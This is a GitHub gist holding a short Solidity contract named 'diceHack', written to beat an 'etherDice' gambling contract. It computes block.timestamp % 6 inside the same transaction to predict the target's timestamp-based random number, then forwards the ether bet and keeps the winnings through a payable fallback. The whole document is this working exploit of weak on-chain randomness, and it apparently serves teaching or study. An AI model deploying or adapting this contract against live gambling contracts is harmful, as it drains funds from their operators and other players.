Created
January 3, 2019 16:33
-
-
Save iisaint/52c5dcb88b1b51c3e86bdfff900ebcee to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
interface etherDice { | |
function bet(uint _number) external payable returns(bool); | |
} | |
contract diceHack { | |
etherDice dice; | |
constructor (address _etherDice) public { | |
dice = etherDice(_etherDice); | |
} | |
function bet() public payable { | |
uint number = block.timestamp % 6; | |
dice.bet.value(msg.value)(number); | |
} | |
function getBalance() public view returns(uint) { | |
return address(this).balance; | |
} | |
function () external payable { | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment